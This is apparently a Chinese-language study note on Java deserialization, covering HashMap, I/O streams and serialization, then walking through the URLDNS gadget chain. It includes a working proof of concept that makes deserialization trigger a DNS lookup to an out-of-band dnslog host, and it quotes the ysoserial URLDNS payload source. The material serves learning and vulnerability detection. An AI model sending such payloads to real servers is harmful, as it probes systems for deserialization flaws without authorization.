JAVA反序列化基础和URLDNS链
一些小基础
HashMap类学习
参考: https://www.cainiaojc.com/java/java-hashmap.html
HashMap是以键值对存储的哈希表,包在java.util.HashMap
几个常见方法:
- put():插入指定的键值对到map中
- entrySet():返回一组所有键值对映射的map
- keySet(): 返回map的所有键集合
- values(): 返回map所有值的集合
- get(): 返回指定键对应的值
- remove(key): 返回并删除对应键的值
- replace(key,value): 将key对应的值换成value
eg1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import java.util.HashMap;
class Main {
public static void main(String[] args) {
HashMap<String, Integer> numbers = new HashMap<>();
numbers.put("One", 1);
numbers.put("Two", 2);
numbers.put("Three", 3);
System.out.println("HashMap: " + numbers);
System.out.println("Key/Value映射: "+numbers.entrySet());
System.out.println("get 'One'的值:"+numbers.get("One"));
int value = numbers.remove("Two");
System.out.println("删除值: " + value);
numbers.replace("One",11111);
System.out.println("更新后的HashMap: " + numbers);
}
}
Java I/O流
是Java输入输出流的意思,流是从源码读取并写入目标的数据序列,一个输入流用于从源读取数据,输出流用于将数据写入目标
流分为字节流和字符流:
字节流(Byte)
用于读取和写入单个字节(8位)数据,所有字节流类都派生自称为InputStream和OutputStream的基本抽象类。
InputStream抽象类的子类:
- FileInputStream:用于从文件读取数据
创建:1
2
3FileInputStream input = new FileInputStream(stringPath);
或
FileInputStream input = new FileInputStream(File fileObject); - ByteArrayInputStream: 用于读取输入数据数组
1
ByteArrayInputStream input = new ByteArrayInputStream(byte[] arr);
- ObjectInputStream: 用于读取ObjectOutputStream先前编写的对象
1
2
3
4
5//创建与指定文件链接的文件输入流
FileInputStream fileStream = new FileInputStream(String file);
//使用文件输入流创建对象输入流
ObjectInputStream objStream = new ObjectInputStream(fileStream);
几个read()方法:
read() - 从输入流中读取一个字节的数据
readBoolean() - 以布尔形式读取数据
readChar() - 以字符形式读取数据
readInt() - 以整数形式读取数据
readObject() - 从输入流中读取对象
OutputStream的子类
- FileOutStream
- ByteArrayOutputStream
- ObjectOutputStream:
- 有几个write()方法:
- write() - 将字节数据写入输出流
- writeBoolean() - 以布尔形式写入数据
- writeChar() - 以字符形式写入数据
- writeInt() - 以整数形式写入数据
- writeObject() - 将对象写入输出流
序列化和反序列化示例
现在假设对一个hashmap对象序列化和反序列化1
2
3
4
5
6
7
8
9
10
11
12
13
14
15try{
FileOutputStream fileOutputStream=new FileOutputStream("studytest.ser");
ObjectOutputStream outputStream=new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hashMap);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream=new FileInputStream("studytest.ser");
ObjectInputStream inputStream=new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
URLDNS链分析
调试技巧:
- 光标放在一个类目一直按住ctrl键,鼠标左键点击可进入这个类里
study1.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Objects;
public class study1 {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://35bbd1.dnslog.cn");
Field f =Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,123);
System.out.println(url.hashCode());
hashMap.put(url,111);//此时不会进行dns解析
f.set(url,-1);//hashcode重新设置为-1
try{
FileOutputStream fileOutputStream=new FileOutputStream("studytest.ser");
ObjectOutputStream outputStream=new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(hashMap);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream=new FileInputStream("studytest.ser");
ObjectInputStream inputStream=new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
==这里踩坑jdk版本,高版本是找不到这个getByName(host)的,它暖暖得下载了5个jdk最后一个成功了,是jdk-8u201==
链子很简单1
2
3
4
5
6HashMap::readObject()-->
Hashmap::hash()-->
java.net.URL.hashcode()
URLStreamHandler->hashcode()
URLStreamHandler->getHostAddress
InetAddress.getByname(host)
这里的InetAddress addr = getByName(host); 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。
==但是要注意一点,当我们往HashMap里加URL对象时也会自动调用一次HashMap的put方法==1
2
3public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
这里也会进行hash函数,经过一系列方法造成dns解析,我们可以通过修改hashcode的值让它不等于-1来不进行dns解析,然后在反序列化之前把hashcode改回-1
1 | package study; |
此时会进行dns解析
我们来学习一下ysoserial的payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
这里通过继承URLStreamHandler
类,重写openConnection()
和getHostAddress()
函数,而这里重写的目的在于: HashMap#put
时也会调用getHostAddress()
函数进行一次DNS
解析,这里就是通过重写的getHostAddress()
函数来覆盖掉原函数,从而使其不进行DNS
解析,避免在Payload
在创建的时候进行DNS
解析,后面反序列化时不受影响